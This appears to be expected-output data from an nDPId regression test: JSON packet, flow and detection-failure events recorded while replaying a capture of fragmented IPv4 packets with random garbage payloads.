+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828649,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828661,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828672,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828708,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828732,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2486,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828743,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2487,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2488,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2489,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828817,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2490,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828825,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2491,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828832,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2492,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828840,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2493,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828849,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2494,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828856,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2495,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2496,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828870,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2497,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828878,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2498,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828889,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2499,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828900,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2500,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2501,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2502,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2503,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":828950,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAjQ2MzE5ODIw"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2504,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1534244027129,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":13617,"dst_port":10536,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2505,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129094,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiYeLwAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129126,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2506,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2507,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129137,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2508,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129142,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2509,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129148,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2510,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129153,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2511,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129158,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2512,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129162,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2513,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129167,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2514,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129172,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2515,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129177,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2516,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129223,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2517,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129279,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2518,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2519,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":129288,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2520,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 